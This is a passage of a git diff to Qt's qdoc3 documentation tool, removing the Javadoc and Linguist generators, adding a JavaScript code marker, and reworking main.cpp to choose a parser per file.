-QString JavadocGenerator::fileExtension(const Node *node) const
-{
- if (node->type() == Node::Fake) {
- return "html";
- } else {
- return "jdoc";
- }
-}
-
-QString JavadocGenerator::typeString(const Node *node)
-{
- if (node->type() == Node::Function) {
- const FunctionNode *func = static_cast<const FunctionNode *>(node);
- return func->metaness() == FunctionNode::Signal ? "signal" : "method";
- } else {
- return HtmlGenerator::typeString(node);
- }
-}
-
-QString JavadocGenerator::imageFileName(const Node *relative, const QString& fileBase)
-{
- QString result = HtmlGenerator::imageFileName(relative, fileBase);
- if (!result.isEmpty()) {
- QString package = packageName(relative);
- int numSubPackages = package.count('.') - 2;
- while (numSubPackages > 0) {
- result.prepend("%2E%2E/"); // javadoc 1.5.0_06 chokes on '../'
- --numSubPackages;
- }
- }
- return result;
-}
-
-static int textDepth = 0;
-
-void JavadocGenerator::startText(const Node *relative, CodeMarker *marker)
-{
- if (textDepth++ == 0 && relative->type() != Node::Fake) {
- Q_ASSERT(!oldDevice);
- oldDevice = out().device();
- Q_ASSERT(oldDevice);
- out().setString(&buffer);
- }
- HtmlGenerator::startText(relative, marker);
-}
-
-void JavadocGenerator::endText(const Node *relative, CodeMarker *marker)
-{
- HtmlGenerator::endText(relative, marker);
- if (--textDepth == 0 && relative->type() != Node::Fake) {
- Q_ASSERT(oldDevice);
- out().setDevice(oldDevice);
- oldDevice = 0;
-
- /*
- Need to escape XML metacharacters in .jdoc files.
- */
- buffer.replace("*/", "*&lt;!-- noop --&gt;/");
- buffer.replace("&", "&amp;");
- buffer.replace("\"", "&quot;");
- buffer.replace("<", "&lt;");
- buffer.replace(">", "&gt;");
- out() << buffer;
- buffer.clear();
- }
-}
-
-int JavadocGenerator::generateAtom(const Atom *atom, const Node *relative, CodeMarker *marker)
-{
- return HtmlGenerator::generateAtom(atom, relative, marker);
-}
-
-void JavadocGenerator::generateClassLikeNode(const InnerNode *inner, CodeMarker *marker)
-{
- generateIndent();
- out() << "<class name=\"" << protect(inner->name()) << "\"";
- generateDoc(inner, marker);
- out() << ">\n";
-
- ++currentDepth;
- foreach (Node *node, inner->childNodes()) {
- if (node->isInnerNode()) {
- generateClassLikeNode(static_cast<InnerNode *>(node), marker);
- } else {
- if (node->type() == Node::Enum) {
- EnumNode *enume = static_cast<EnumNode *>(node);
-
- generateIndent();
- out() << "<enum name=\"" << protect(node->name()) << "\"";
- generateDoc(node, marker);
- out() << ">\n";
-
- ++currentDepth;
- const QList<EnumItem> &items = enume->items();
- for (int i = 0; i < items.count(); ++i) {
- const EnumItem &item = items.at(i);
- generateIndent();
- out() << "<enum-value name=\"" << protect(item.name()) << "\"";
- generateEnumItemDoc(item.text(), enume, marker);
- out() << "/>\n";
- }
- --currentDepth;
-
- out() << "</enum>\n";
- } else if (node->type() == Node::Function) {
- FunctionNode *func = static_cast<FunctionNode *>(node);
- generateIndent();
- out() << (func->metaness() == FunctionNode::Signal ? "<signal" : "<method")
- << " name=\""
- << protect(javaSignature(func, GeneratedJdocFile))
- << "\"";
- generateDoc(node, marker);
- out() << "/>\n";
- }
- }
- }
- --currentDepth;
-
- generateIndent();
- out() << "</class>\n";
-}
-
-void JavadocGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
-{
- HtmlGenerator::generateFakeNode(fake, marker);
-}
-
-bool JavadocGenerator::generateText(const Text& text, const Node *relative, CodeMarker *marker)
-{
- HtmlGenerator::generateText(text, relative, marker);
- return true;
-}
-
-void JavadocGenerator::generateBody(const Node *node, CodeMarker *marker)
-{
- generateText(node->doc().body(), node, marker);
-}
-
-void JavadocGenerator::generateAlsoList( const Node *node, CodeMarker *marker )
-{
- QList<Text> alsoList = node->doc().alsoList();
- supplementAlsoList(node, alsoList);
-
- if (node->type() == Node::Fake
- || (node->type() == Node::Function
- && static_cast<const FunctionNode *>(node)->metaness() == FunctionNode::Signal)) {
- Text text;
-
- if (!alsoList.isEmpty()) {
- text << Atom(Atom::ListLeft, ATOM_LIST_TAG)
- << Atom(Atom::ListTagLeft, ATOM_LIST_TAG)
- << Atom(Atom::FormattingLeft, ATOM_FORMATTING_BOLD)
- << "See Also:"
- << Atom(Atom::FormattingRight, ATOM_FORMATTING_BOLD)
- << Atom(Atom::ListTagRight, ATOM_LIST_TAG)
- << Atom(Atom::ListItemLeft, ATOM_LIST_TAG);
-
- for (int i = 0; i < alsoList.count(); ++i) {
- if (i != 0)
- text << ", ";
- text << alsoList.at(i);
- }
- text << Atom(Atom::ListItemRight, ATOM_LIST_TAG)
- << Atom(Atom::ListRight, ATOM_LIST_TAG);
- }
-
- generateText(text, node, marker);
- } else {
- foreach (const Text &text, alsoList) {
- out() << "\n@see ";
- generateText(text, node, marker);
- }
- }
-}
-
-QString JavadocGenerator::refForNode( const Node *node )
-{
- if (node->type() == Node::Function)
- return javaSignature(static_cast<const FunctionNode *>(node), JavadocRef);
-
- return HtmlGenerator::refForNode(node);
-}
-
-QString JavadocGenerator::linkForNode( const Node *node, const Node *relative )
-{
- // ### EVIL, relative should never be null
- if (!relative)
- relative = node;
-
- if (packageName(node).isEmpty()) {
- // ### jasmin: Fixme
- return QString();
- }
-
- QString result;
- if (node->type() == Node::Fake) {
- result = node->name();
- } else {
- if (!node->isInnerNode()) {
- result = linkForNode(node->parent(), relative) + "#" + refForNode(node);
- } else {
- result = node->name() + ".html";
- }
- }
-
- QStringList nodePackage = packageName(node).split(".");
- QStringList relativePackage = packageName(relative).split(".");
- if (nodePackage == QStringList(QString()) || relativePackage == QStringList(QString())) {
- qWarning("I'm in trouble [%s][%s]", qPrintable(node->name()), qPrintable(relative->name()));
- return QString();
- }
-
- int i = nodePackage.count() - 1;
- while (nodePackage.value(i) != relativePackage.value(i)) {
- result.prepend(nodePackage.at(i) + "/");
- --i;
- }
-
- ++i;
- while (i < relativePackage.count()) {
- result.prepend("%2E%2E/"); // javadoc 1.5.0_06 chokes on '../'
- ++i;
- }
-
- return result;
-}
-
-QString JavadocGenerator::refForAtom(Atom *atom, const Node *node)
-{
- return HtmlGenerator::refForAtom(atom, node);
-}
-
-/*
- Neutralize dumb functions called from HtmlGenerator.
-*/
-void JavadocGenerator::generateDcf(const QString & /* fileBase */, const QString & /* startPage */,
- const QString & /* title */, DcfSection & /* dcfRoot */)
-{
-}
-
-void JavadocGenerator::generateIndex(const QString & /* fileBase */, const QString & /* url */,
- const QString & /* title */)
-{
-}
-
-void JavadocGenerator::generateIndent()
-{
- for (int i = 0; i < currentDepth; ++i)
- out() << " ";
-}
-
-void JavadocGenerator::generateDoc(const Node *node, CodeMarker *marker)
-{
- const Text &text = node->doc().body();
- if (!text.isEmpty()) {
- out() << " doc=\"/**\n";
- Generator::generateStatus(node, marker);
- generateText(text, node, marker);
- if (node && node->type() == Node::Function) {
- const FunctionNode *func = static_cast<const FunctionNode *>(node);
- if (func->metaness() == FunctionNode::Signal) {
- QStringList slotSignatures;
- for (int i = func->parameters().count(); i >= 0; --i)
- slotSignatures += javaSignature(func, SlotSignature, i);
-
- Text text;
-
- text << Atom(Atom::ListLeft, ATOM_LIST_TAG)
- << Atom(Atom::ListTagLeft, ATOM_LIST_TAG)
- << Atom(Atom::FormattingLeft, ATOM_FORMATTING_BOLD);
-
- if (slotSignatures.count() == 1) {
- text << "Compatible Slot Signature:";
- } else {
- text << "Compatible Slot Signatures:";
- }
-
- text << Atom(Atom::FormattingRight, ATOM_FORMATTING_BOLD)
- << Atom(Atom::ListTagRight, ATOM_LIST_TAG);
-
- for (int i = 0; i < slotSignatures.count(); ++i) {
- text << Atom(Atom::ListItemLeft, ATOM_LIST_TAG)
- << Atom(Atom::C, marker->markedUpCode(slotSignatures.at(i), 0, ""))
- << Atom(Atom::ListItemRight, ATOM_LIST_TAG);
- }
- text << Atom(Atom::ListRight, ATOM_LIST_TAG);
- generateText(text, node, marker);
- }
- }
- if (node)
- generateAlsoList(node, marker);
- out() << " */\"";
- }
-}
-
-void JavadocGenerator::generateEnumItemDoc(const Text &text, const Node *node, CodeMarker *marker)
-{
- out() << " doc=\"/**\n";
- if (text.isEmpty()) {
- out() << "Internal.";
- } else {
- generateText(text, node, marker);
- }
- out() << " */\"";
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/javadocgenerator.h b/tools/qdoc3/javadocgenerator.h
deleted file mode 100644
index e2e8ed6..0000000
--- a/tools/qdoc3/javadocgenerator.h
+++ /dev/null
@@ -1,95 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#ifndef JAVADOCGENERATOR_H
-#define JAVADOCGENERATOR_H
-
-#include "htmlgenerator.h"
-
-QT_BEGIN_NAMESPACE
-
-class JavadocGenerator : public HtmlGenerator
-{
-public:
- JavadocGenerator();
- ~JavadocGenerator();
-
- void initializeGenerator(const Config &config);
- void terminateGenerator();
- QString format();
- bool canHandleFormat(const QString &format) { return format == "HTML" || format == "javadoc"; }
- void generateTree(const Tree *tree, CodeMarker *marker);
- QString typeString(const Node *node);
- QString imageFileName(const Node *relative, const QString &fileBase);
-
-protected:
- QString fileExtension(const Node *node) const;
- void startText( const Node *relative, CodeMarker *marker );
- void endText( const Node *relative, CodeMarker *marker );
- int generateAtom( const Atom *atom, const Node *relative, CodeMarker *marker );
- void generateClassLikeNode(const InnerNode *inner, CodeMarker *marker);
- void generateFakeNode( const FakeNode *fake, CodeMarker *marker );
-
- bool generateText( const Text& text, const Node *relative, CodeMarker *marker );
- void generateBody( const Node *node, CodeMarker *marker );
- void generateAlsoList( const Node *node, CodeMarker *marker );
-
- QString refForNode( const Node *node );
- QString linkForNode( const Node *node, const Node *relative );
- QString refForAtom(Atom *atom, const Node *node);
-
-private:
- void generateDcf(const QString &fileBase, const QString &startPage,
- const QString &title, DcfSection &dcfRoot);
- void generateIndex(const QString &fileBase, const QString &url,
- const QString &title);
- void generateIndent();
- void generateDoc(const Node *node, CodeMarker *marker);
- void generateEnumItemDoc(const Text &text, const Node *node, CodeMarker *marker);
-
- QString buffer;
- QIODevice *oldDevice;
- int currentDepth;
-};
-
-QT_END_NAMESPACE
-
-#endif
diff --git a/tools/qdoc3/jscodemarker.cpp b/tools/qdoc3/jscodemarker.cpp
new file mode 100644
index 0000000..5a513f7
--- /dev/null
+++ b/tools/qdoc3/jscodemarker.cpp
@@ -0,0 +1,151 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*
+ jscodemarker.cpp
+*/
+
+#include "private/qdeclarativejsast_p.h"
+#include "private/qdeclarativejsengine_p.h"
+#include "private/qdeclarativejslexer_p.h"
+#include "private/qdeclarativejsnodepool_p.h"
+#include "private/qdeclarativejsparser_p.h"
+
+#include "atom.h"
+#include "node.h"
+#include "jscodemarker.h"
+#include "qmlmarkupvisitor.h"
+#include "text.h"
+#include "tree.h"
+
+QT_BEGIN_NAMESPACE
+
+JsCodeMarker::JsCodeMarker()
+{
+}
+
+JsCodeMarker::~JsCodeMarker()
+{
+}
+
+/*!
+ Returns true if the \a code is recognized by the parser.
+ */
+bool JsCodeMarker::recognizeCode(const QString &code)
+{
+ QDeclarativeJS::Engine engine;
+ QDeclarativeJS::Lexer lexer(&engine);
+ QDeclarativeJS::Parser parser(&engine);
+ QDeclarativeJS::NodePool m_nodePool("<JsCodeMarker::recognizeCode>", &engine);
+
+ QString newCode = code;
+ QList<QDeclarativeJS::AST::SourceLocation> pragmas = extractPragmas(newCode);
+ lexer.setCode(newCode, 1);
+
+ return parser.parseProgram();
+}
+
+/*!
+ Returns true if \a ext is any of a list of file extensions
+ for the QML language.
+ */
+bool JsCodeMarker::recognizeExtension(const QString &ext)
+{
+ return ext == "js";
+}
+
+/*!
+ Returns true if the \a language is recognized. Only "QML" is
+ recognized by this marker.
+ */
+bool JsCodeMarker::recognizeLanguage(const QString &language)
+{
+ return language == "JavaScript" || language == "ECMAScript";
+}
+
+/*!
+ Returns the type of atom used to represent JavaScript code in the documentation.
+*/
+Atom::Type JsCodeMarker::atomType() const
+{
+ return Atom::JavaScript;
+}
+
+QString JsCodeMarker::markedUpCode(const QString &code,
+ const Node *relative,
+ const Location &location)
+{
+ return addMarkUp(code, relative, location);
+}
+
+QString JsCodeMarker::addMarkUp(const QString &code,
+ const Node * /* relative */,
+ const Location &location)
+{
+ QDeclarativeJS::Engine engine;
+ QDeclarativeJS::Lexer lexer(&engine);
+
+ QString newCode = code;
+ QList<QDeclarativeJS::AST::SourceLocation> pragmas = extractPragmas(newCode);
+ lexer.setCode(newCode, 1);
+
+ QDeclarativeJS::Parser parser(&engine);
+ QDeclarativeJS::NodePool m_nodePool("<JsCodeMarker::addMarkUp>", &engine);
+ QString output;
+
+ if (parser.parseProgram()) {
+ QDeclarativeJS::AST::Node *ast = parser.rootNode();
+ // Pass the unmodified code to the visitor so that pragmas and other
+ // unhandled source text can be output.
+ QmlMarkupVisitor visitor(code, pragmas, &engine);
+ QDeclarativeJS::AST::Node::accept(ast, &visitor);
+ output = visitor.markedUpCode();
+ } else {
+ location.warning(tr("Unable to parse JavaScript: \"%1\" at line %2, column %3").arg(
+ parser.errorMessage()).arg(parser.errorLineNumber()).arg(
+ parser.errorColumnNumber()));
+ output = protect(code);
+ }
+
+ return output;
+}
+
+QT_END_NAMESPACE
diff --git a/tools/qdoc3/archiveextractor.h b/tools/qdoc3/jscodemarker.h
index d6a64f5..e07cdae 100644
--- a/tools/qdoc3/archiveextractor.h
+++ b/tools/qdoc3/jscodemarker.h
@@ -40,37 +40,34 @@
****************************************************************************/
/*
- archiveextractor.h
+ jscodemarker.h
*/
-#ifndef ARCHIVEEXTRACTOR_H
-#define ARCHIVEEXTRACTOR_H
+#ifndef JSCODEMARKER_H
+#define JSCODEMARKER_H
-#include <qstringlist.h>
-
-#include "location.h"
+#include "qmlcodemarker.h"
QT_BEGIN_NAMESPACE
-class ArchiveExtractor
+class JsCodeMarker : public QmlCodeMarker
{
public:
- ArchiveExtractor( const QStringList& extensions );
- virtual ~ArchiveExtractor();
-
- virtual void extractArchive( const Location& location,
- const QString& filePath,
- const QString& outputDir ) = 0;
+ JsCodeMarker();
+ ~JsCodeMarker();
- static ArchiveExtractor *extractorForFileName( const QString& fileName );
+ virtual bool recognizeCode(const QString &code);
+ virtual bool recognizeExtension(const QString &ext);
+ virtual bool recognizeLanguage(const QString &language);
+ virtual Atom::Type atomType() const;
-protected:
- const QStringList& fileExtensions() { return fileExts; }
+ virtual QString markedUpCode(const QString &code,
+ const Node *relative,
+ const Location &location);
private:
- QStringList fileExts;
-
- static QList<ArchiveExtractor *> extractors;
+ QString addMarkUp(const QString &code, const Node *relative,
+ const Location &location);
};
QT_END_NAMESPACE
diff --git a/tools/qdoc3/linguistgenerator.cpp b/tools/qdoc3/linguistgenerator.cpp
deleted file mode 100644
index f1ed52a..0000000
--- a/tools/qdoc3/linguistgenerator.cpp
+++ /dev/null
@@ -1,245 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
- linguistgenerator.cpp
-*/
-
-#include "codemarker.h"
-#include "pagegenerator.h"
-#include "linguistgenerator.h"
-#include "node.h"
-#include "separator.h"
-#include "tree.h"
-#include <ctype.h>
-
-#include <qlist.h>
-#include <qiterator.h>
-
-QT_BEGIN_NAMESPACE
-
-#define COMMAND_VERSION Doc::alias("version")
-
-LinguistGenerator::LinguistGenerator()
- : PageGenerator()
-{
-}
-
-LinguistGenerator::~LinguistGenerator()
-{
-}
-
-void LinguistGenerator::initializeGenerator(const Config &config)
-{
- Generator::initializeGenerator(config);
-}
-
-void LinguistGenerator::terminateGenerator()
-{
- PageGenerator::terminateGenerator();
-}
-
-QString LinguistGenerator::format()
-{
- return "Linguist";
-}
-
-QString LinguistGenerator::fileExtension(const Node * /* node */) const
-{
- return "ts";
-}
-
-void LinguistGenerator::generateClassLikeNode(const InnerNode *inner, CodeMarker *marker)
-{
- out().setCodec("UTF-8");
-
- QDomDocument document("TS");
- QDomElement documentElement = document.createElement("TS");
- documentElement.setAttribute("version", "1.1");
-
- QList<QDomElement> contextElements = generateIndexSections(document, inner, marker);
- foreach (const QDomElement &element, contextElements)
- documentElement.appendChild(element);
-
- QDomProcessingInstruction process = document.createProcessingInstruction(
- "xml", QString("version=\"1.0\" encoding=\"%1\"").arg("UTF-8"));
- document.appendChild(process);
- document.appendChild(documentElement);
-
- out() << document;
- out().flush();
-}
-
-void LinguistGenerator::generateFakeNode( const FakeNode *fake, CodeMarker *marker )
-{
- out().setCodec("utf-8");
-
- QDomDocument document("TS");
- QDomElement documentElement = document.createElement("TS");
- documentElement.setAttribute("version", "1.1");
-
- QList<QDomElement> contextElements = generateIndexSections(document, fake, marker);
- foreach (const QDomElement &element, contextElements)
- documentElement.appendChild(element);
-
- QDomProcessingInstruction process = document.createProcessingInstruction(
- "xml", QString("version=\"1.0\" encoding=\"%1\"").arg("utf-8"));
- document.appendChild(process);
- document.appendChild(documentElement);
-
- out() << document;
- out().flush();
-}
-
-QList<QDomElement> LinguistGenerator::generateIndexSections(
- QDomDocument &document, const Node *node, CodeMarker *marker)
-{
- QList<QDomElement> contexts;
-
- if (node->isInnerNode()) {
- const InnerNode *inner = static_cast<const InnerNode *>(node);
-
- foreach (const Node *child, inner->childNodes()) {
- // Recurse to generate a DOM element for this child node and all
- // its children.
- contexts += generateIndexSections(document, child, marker);
- }
-/*
- foreach (const Node *child, inner->relatedNodes()) {
- QDomElement childElement = generateIndexSections(document, child, marker);
- element.appendChild(childElement);
- }
-*/
- }
-
- // Add documentation to this node if it exists.
- if (!node->doc().isEmpty()) {
-
- QString nodeName = fullName(node);
- QString signature;
-
- if (node->type() == Node::Function) {
- QStringList pieces;
- const FunctionNode *functionNode = static_cast<const FunctionNode*>(node);
- foreach (const Parameter &parameter, functionNode->parameters()) {
- QString typeString = parameter.leftType() + parameter.rightType();
- if (typeString.split(" ").size() > 1)
- pieces.append(typeString + parameter.name());
- else
- pieces.append(typeString + " " + parameter.name());
- }
- signature = "(" + pieces.join(", ") + ")";
- }
-
- QDomElement contextElement = document.createElement("context");
- QDomElement nameElement = document.createElement("name");
- nameElement.appendChild(document.createTextNode(nodeName + signature));
- contextElement.appendChild(nameElement);
-
- QDomElement messageElement = document.createElement("message");
- contextElement.appendChild(messageElement);
-
- QDomElement sourceElement = document.createElement("source");
- QString sourceText = simplified(node->doc().source());
- if (!signature.isEmpty() && signature != "()" && !sourceText.contains("\\fn"))
- sourceText.prepend(QString("\\fn %1%2\n").arg(nodeName).arg(signature));
- sourceElement.appendChild(document.createTextNode(sourceText));
- messageElement.appendChild(sourceElement);
-
- QDomElement translationElement = document.createElement("translation");
- translationElement.setAttribute("type", "unfinished");
- messageElement.appendChild(translationElement);
-
- QDomElement locationElement = document.createElement("location");
- locationElement.setAttribute("filename", node->doc().location().filePath());
- locationElement.setAttribute("line", node->doc().location().lineNo());
- messageElement.appendChild(locationElement);
-
- contexts.append(contextElement);
- }
-
- return contexts;
-}
-
-QString LinguistGenerator::fullName(const Node *node) const
-{
- if (!node)
- return "";
- else if (node->parent() && !node->parent()->name().isEmpty())
- return fullName(node->parent()) + "::" + node->name();
- else
- return node->name();
-}
-
-QString LinguistGenerator::simplified(const QString &text) const
-{
- QStringList lines = text.split("\n");
-
- while (lines.size() > 0 && lines.first().trimmed().isEmpty())
- lines.pop_front();
-
- while (lines.size() > 0 && lines.last().trimmed().isEmpty())
- lines.pop_back();
-
- int min = 0;
- bool set = false;
- foreach (const QString &line, lines) {
- int j = 0;
- while (j < line.length()) {
- if (line[j] != ' ')
- break;
- ++j;
- }
- if (j < line.length()) {
- if (!set) {
- min = j;
- set = true;
- } else
- min = qMin(min, j);
- }
- }
- for (int i = 0; i < lines.size(); ++i)
- lines[i] = lines[i].mid(min);
-
- return lines.join("\n");
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/location.cpp b/tools/qdoc3/location.cpp
index 13e7bb3..71ee196 100644
--- a/tools/qdoc3/location.cpp
+++ b/tools/qdoc3/location.cpp
@@ -390,10 +390,6 @@ QString Location::top() const
if (lineNo() >= 1) {
str += QLatin1Char(':');
str += QString::number(lineNo());
-#if 0
- if (columnNo() >= 1)
- str += ":" + QString::number(columnNo());
-#endif
}
if (etc())
str += QLatin1String(" (etc.)");
diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp
index 66b5b9d..7eb8067 100644
--- a/tools/qdoc3/main.cpp
+++ b/tools/qdoc3/main.cpp
@@ -45,30 +45,19 @@
#include <qglobal.h>
#include <stdlib.h>
-#include "apigenerator.h"
#include "codemarker.h"
#include "codeparser.h"
#include "config.h"
#include "cppcodemarker.h"
#include "cppcodeparser.h"
-#include "cpptoqsconverter.h"
+#include "ditaxmlgenerator.h"
#include "doc.h"
#include "htmlgenerator.h"
-#include "jambiapiparser.h"
-#include "javacodemarker.h"
-#include "javadocgenerator.h"
-#include "linguistgenerator.h"
-#include "loutgenerator.h"
-#include "mangenerator.h"
+#include "jscodemarker.h"
#include "plaincodemarker.h"
-#include "polyarchiveextractor.h"
-#include "polyuncompressor.h"
-#include "qsakernelparser.h"
-#include "qscodemarker.h"
-#include "qscodeparser.h"
-#include "sgmlgenerator.h"
-#include "webxmlgenerator.h"
-#include "ditaxmlgenerator.h"
+#include "puredocparser.h"
+#include "qmlcodemarker.h"
+#include "qmlcodeparser.h"
#include "tokenizer.h"
#include "tree.h"
#include <qdebug.h>
@@ -105,22 +94,6 @@ static bool showInternal = false;
static bool obsoleteLinks = false;
static QStringList defines;
static QHash<QString, Tree *> trees;
-static QString appArg; // application
-
-/*!
- Find the Tree for language \a lang and return a pointer to it.
- If there is no Tree for language \a lang in the Tree table, add
- a new one. The Tree table is indexed by \a lang strings.
- */
-static Tree* treeForLanguage(const QString &lang)
-{
- Tree* tree = trees.value(lang);
- if (tree == 0) {
- tree = new Tree;
- trees.insert( lang, tree );
- }
- return tree;
-}
/*!
Print the help message to \c stdout.
@@ -174,7 +147,7 @@ static void processQdocconfFile(const QString &fileName)
QStringList() << defaults[i].value);
++i;
}
- config.setStringList(CONFIG_SLOW, QStringList(slow ? "true" : "false"));
+ config.setStringList(CONFIG_SYNTAXHIGHLIGHTING, QStringList(slow ? "true" : "false"));
config.setStringList(CONFIG_SHOWINTERNAL,
QStringList(showInternal ? "true" : "false"));
config.setStringList(CONFIG_OBSOLETELINKS,
@@ -193,24 +166,6 @@ static void processQdocconfFile(const QString &fileName)
config.load(fileName);
/*
- Set the application to which qdoc will create the output.
- The two applications are:
-
- creator: additional formatting for viewing in
- the Creator application.
-
- online: full-featured online version with search and
- links to Qt topics
- */
- if (appArg.isEmpty()) {
- qDebug() << "Warning: Application flag not specified on"
- << "command line. Options are -creator (default)"
- << "and -online.";
- appArg = "creator";
- }
- config.setStringList(CONFIG_APPLICATION, QStringList(appArg));
-
- /*
Add the defines to the configuration variables.
*/
QStringList defs = defines + config.getStringList(CONFIG_DEFINES);
@@ -229,7 +184,6 @@ static void processQdocconfFile(const QString &fileName)
Location::initialize(config);
Tokenizer::initialize(config);
Doc::initialize(config);
- CppToQsConverter::initialize(config);
CodeMarker::initialize(config);
CodeParser::initialize(config);
Generator::initialize(config);
@@ -270,74 +224,75 @@ static void processQdocconfFile(const QString &fileName)
tree->setVersion(config.getString(CONFIG_VERSION));
/*
- There must be a code parser for the source code language, e.g. C++.
- If there isn't one, give up.
- */
- CodeParser *codeParser = CodeParser::parserForLanguage(lang);
- if (codeParser == 0)
- config.lastLocation().fatal(tr("Cannot parse programming language '%1'").arg(lang));
-
- /*
By default, the only output format is HTML.
*/
QSet<QString> outputFormats = config.getStringSet(CONFIG_OUTPUTFORMATS);
Location outputFormatsLocation = config.lastLocation();
/*
- There must be a code marker for the source code language, e.g. C++.
- If there isn't one, give up.
- */
- CodeMarker *marker = CodeMarker::markerForLanguage(lang);
- if (!marker && !outputFormats.isEmpty())
- langLocation.fatal(tr("Cannot output documentation for programming language '%1'").arg(lang));
-
- /*
- Read some XML indexes. What are they???
+ Read some XML indexes containing definitions from other documentation sets.
*/
QStringList indexFiles = config.getStringList(CONFIG_INDEXES);
tree->readIndexes(indexFiles);
-
+
/*
- Get all the header files: "*.ch *.h *.h++ *.hh *.hpp *.hxx"
- Put them in a set.
+ Read the list of excluded directories.
*/
QSet<QString> excludedDirs;
QStringList excludedDirsList = config.getStringList(CONFIG_EXCLUDEDIRS);
foreach (const QString &excludeDir, excludedDirsList)
excludedDirs.insert(QDir::fromNativeSeparators(excludeDir));
- QSet<QString> headers = QSet<QString>::fromList(
- config.getAllFiles(CONFIG_HEADERS, CONFIG_HEADERDIRS,
- codeParser->headerFileNameFilter(),
- excludedDirs));
/*
- Parse each header file in the set and add it to the big tree.
+ Get all the header files: "*.ch *.h *.h++ *.hh *.hpp *.hxx"
+ Put them in a set.
*/
- QSet<QString>::ConstIterator h = headers.begin();
- while (h != headers.end()) {
- codeParser->parseHeaderFile(config.location(), *h, tree);
- ++h;
- }
- codeParser->doneParsingHeaderFiles(tree);
+ QSet<QString> headers = QSet<QString>::fromList(
+ config.getAllFiles(CONFIG_HEADERS, CONFIG_HEADERDIRS, excludedDirs));
/*
Get all the source text files: "*.cpp *.qdoc *.mm"
Put them in a set.
*/
QSet<QString> sources = QSet<QString>::fromList(
- config.getAllFiles(CONFIG_SOURCES, CONFIG_SOURCEDIRS,
- codeParser->sourceFileNameFilter(),
- excludedDirs));
+ config.getAllFiles(CONFIG_SOURCES, CONFIG_SOURCEDIRS, excludedDirs));
+
+ /*
+ Parse each header file in the set using the appropriate parser and add it
+ to the big tree.
+ */
+ QSet<CodeParser *> usedParsers;
+ QSet<QString>::ConstIterator h = headers.begin();
+ while (h != headers.end()) {
+ CodeParser *codeParser = CodeParser::parserForHeaderFile(*h);
+ if (codeParser) {
+ codeParser->parseHeaderFile(config.location(), *h, tree);
+ usedParsers.insert(codeParser);
+ }
+ ++h;
+ }
+
+ foreach (CodeParser *codeParser, usedParsers)
+ codeParser->doneParsingHeaderFiles(tree);
+
+ usedParsers.clear();
/*
- Parse each source text file in the set and add it to the big tree.
+ Parse each source text file in the set using the appropriate parser and
+ add it to the big tree.
*/
QSet<QString>::ConstIterator s = sources.begin();
while (s != sources.end()) {
- codeParser->parseSourceFile(config.location(), *s, tree);
+ CodeParser *codeParser = CodeParser::parserForSourceFile(*s);
+ if (codeParser) {
+ codeParser->parseSourceFile(config.location(), *s, tree);
+ usedParsers.insert(codeParser);
+ }
++s;
}
- codeParser->doneParsingSourceFiles(tree);
+
